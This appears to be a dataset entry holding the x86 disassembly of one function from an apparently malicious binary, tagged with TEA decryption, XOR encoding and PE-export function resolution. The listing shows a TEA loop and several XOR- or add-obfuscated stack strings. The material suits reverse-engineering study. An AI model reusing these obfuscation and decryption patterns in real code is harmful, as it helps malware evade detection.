Function at 0x419fe2
Capabilities:
Decrypt data using tea
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xd4
push ebx
push ebp
push esi
push edi
call fcn.00419ecd
mov ecx, eax
call fcn.0041b344
test eax, eax
je 0x41a3cd
push 0x400
call fcn.0040570b
pop ecx
mov ecx, eax
mov dword [esp + 0x38], ecx
test ecx, ecx
je 0x41a3cd
mov ebp, 0x420ea2
mov word [esp + 0x10], 0x7c
mov eax, 0x420ea0
mov dword [esp + 0x40], 3
sub ebp, ecx
mov dword [esp + 0x8c], eax
lea edx, [ecx + 2]
mov dword [esp + 0x84], ebp
mov esi, dword [edx + ebp]
mov edi, 0xc6ef3720
mov ebx, dword [eax]
push 0x20
pop ebp
mov eax, ebx
lea ecx, [edi + ebx]
shr eax, 5
add eax, 0x46287644
xor ecx, eax
lea eax, [ebx + 0x352247c]
shl eax, 4
xor ecx, eax
sub esi, ecx
mov ecx, esi
shl ecx, 4
sub ecx, 0x58a318fb
lea eax, [edi + esi]
xor ecx, eax
lea edi, [edi + 0x61c88647]
mov eax, esi
shr eax, 5
sub eax, 0x4c7fa897
xor ecx, eax
sub ebx, ecx
sub ebp, 1
jne 0x41a052
mov ebp, dword [esp + 0x84]
mov eax, ebx
shr eax, 8
mov ecx, esi
mov byte [edx - 1], al
mov eax, ebx
shr eax, 0x10
mov byte [edx], al
mov eax, ecx
shr eax, 8
mov byte [edx + 3], al
mov eax, ecx
shr eax, 0x10
mov byte [edx - 2], bl
mov byte [edx + 2], cl
mov byte [edx + 4], al
mov eax, dword [esp + 0x8c]
shr ebx, 0x18
add eax, 8
shr ecx, 0x18
mov byte [edx + 1], bl
mov byte [edx + 5], cl
add edx, 8
sub dword [esp + 0x40], 1
mov dword [esp + 0xc0], esi
mov dword [esp + 0x8c], eax
jne 0x41a045
mov esi, dword [esp + 0x38]
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x14]
xor ebx, ebx
push eax
mov byte [esi + 0x18], bl
mov dword [esp + 0x48], ebx
push esi
jmp 0x41a3b4
mov dword [esp + 0x14], 0x5060593b
mov ecx, ebx
mov dword [esp + 0x18], 0x5b074e55
mov dword [esp + 0x1c], 0x564a0756
mov dword [esp + 0x20], 0x4a4c5555
mov dword [esp + 0x24], 0x565b075b
mov dword [esp + 0x28], 0xf15a0c07
mov al, byte [esp + ecx + 0x14]
add al, 0x19
mov byte [esp + ecx + 0xc4], al
inc ecx
cmp ecx, 0x18
jl 0x41a146
lea eax, [esp + 0xc4]
mov byte [esp + 0xdc], bl
push edi
push eax
call fcn.004125f4
pop ecx
pop ecx
lea edx, [esp + 0xb4]
mov ecx, edi
call fcn.00417eab
mov ecx, ebx
test al, al
je 0x41a2c2
mov dword [esp + 0x44], 0xf0f0e6c0
mov dword [esp + 0x48], 0xf5e0e0f6
mov dword [esp + 0x4c], 0xeaffffe6
mov dword [esp + 0x50], 0xfdfcf0b3
mov dword [esp + 0x54], 0xe7f0f6fd
mov dword [esp + 0x58], 0xe7b3f7f6
mov dword [esp + 0x5c], 0xe0b6b3fc
mov byte [esp + 0x60], 0x99
mov al, byte [esp + ecx + 0x44]
xor al, 0x93
mov byte [esp + ecx + 0x64], al
inc ecx
cmp ecx, 0x1d
jl 0x41a1c5
mov byte [esp + 0x81], bl
mov ecx, ebx
mov dword [esp + 0x14], 0xd07feec
mov dword [esp + 0x18], 0x805b9
mov dword [esp + 0x1c], 0x8e0b9c7
mov dword [esp + 0x20], 0xb9fa0707
mov dword [esp + 0x24], 0xfd07fe0c
mov dword [esp + 0x28], 0x708fdb9
mov dword [esp + 0x2c], 0xfe06b9fe
mov dword [esp + 0x30], 0xfa0c0c
mov word [esp + 0x34], 0xa3fe
mov al, byte [esp + ecx + 0x14]
add al, 0x67
mov byte [esp + ecx + 0x90], al
inc ecx
cmp ecx, 0x22
jl 0x41a225
lea eax, [esp + 0x64]
mov byte [esp + 0xb2], bl
push edi
push eax
call fcn.004125f4
pop ecx
pop ecx
call fcn.0041a478
lea ecx, [esp + 0xb4]
call fcn.0040f980
lea ecx, [esp + 0xb4]
call fcn.004147d5
call fcn.0041934c
cmp byte [esp + 0xbc], bl
je 0x41a27c
call fcn.00414344
cmp byte [esp + 0xbd], bl
je 0x41a28a
call fcn.00413e35
cmp byte [esp + 0xbb], bl
je 0x41a298
call fcn.00418d83
call fcn.004174c8
call fcn.0041327d
lea eax, [esp + 0x90]
push eax
call fcn.004125f4
pop ecx
push 5
pop ecx
call fcn.00418c23
call fcn.00416b0a
jmp 0x41a3a9
mov dword [esp + 0x90], 0xf0dfadad
mov dword [esp + 0x94], 0xefe2e6f7
mov dword [esp + 0x98], 0xf0dff1e6
mov dword [esp + 0x9c], 0xefe2e6f7
mov dword [esp + 0xa0], 0xe0adf1e6
mov word [esp + 0xa4], 0xf3f3
mov al, byte [esp + ecx + 0x90]
xor al, 0x83
mov byte [esp + ecx + 0x14], al
inc ecx
cmp ecx, 0x16
jl 0x41a303
mov byte [esp + 0x2a], bl
mov ecx, ebx
mov dword [esp + 0x38], 0xe5f6e3c4
mov byte [esp + 0x3c], 0xe3
mov al, byte [esp + ecx + 0x38]
xor al, 0x97
mov byte [esp + ecx + 0x84], al
inc ecx
cmp ecx, 5
jl 0x41a329
mov byte [esp + 0x89], bl
mov ecx, ebx
mov dword [esp + 0x64], 0x90959dba
mov dword [esp + 0x68], 0x88dc9899
mov dword [esp + 0x6c], 0x939fdc93
mov dword [esp + 0x70], 0x9f999292
mov dword [esp + 0x74], 0x9388dc88
mov dword [esp + 0x78], 0xf68fd9dc
mov al, byte [esp + ecx + 0x64]
xor al, 0xfc
mov byte [esp + ecx + 0x44], al
inc ecx
cmp ecx, 0x18
jl 0x41a375
push edi
lea eax, [esp + 0x48]
mov byte [esp + 0x60], bl
push eax
lea eax, [esp + 0x8c]
push eax
lea eax, [esp + 0x20]
push 0x9c
push eax
call fcn.00412711
add esp, 0x14
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x14]
push eax
push ebx
call fcn.00405d9c
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x41a114
push esi
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd4
ret